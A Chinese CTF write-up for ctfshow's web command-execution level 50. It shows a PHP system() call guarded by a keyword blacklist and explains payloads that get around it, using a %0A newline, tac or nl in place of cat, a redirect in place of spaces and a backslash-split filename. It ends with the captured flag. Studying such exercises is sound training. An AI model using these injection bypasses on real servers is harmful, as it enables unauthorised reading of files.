1. 程式人生 > 實用技巧 >ctfshow web入門 - 命令執行(50)

ctfshow web入門 - 命令執行(50)

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

先把過濾的語句列出來(不區分大小寫):

;  cat  flag  空格  [0-9]   $   *   more   less   head   sort   tail   sed   cut   awk  strings   od   curl  `(反引號)  %   %09   %26

這裡被過濾的也要學習一下,因為有些也是可以拿來讀取檔案的命令

檢視目錄檔案的命令還能用,分號被過濾,這裡有點像sql注入,替換成%a0(換行符),命令不能多行輸入

?c=ls%0A

讀取符被過濾了咋辦,替換成其他的,tac和cat類似,nl也可以讀取內容,但會多顯示行數

空格被過濾

flag被過濾

?c=tac<>fla\g.php%0A

得到

$flag="flag{bed1dcd5-5b0c-4ccd-b9b6-3d2937cc5127}"; */ # @link: https://ctfer.com # @email: [email protected] # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /* 

還有尖括號在linux表示傳遞的意思,不寫右尖括號也可以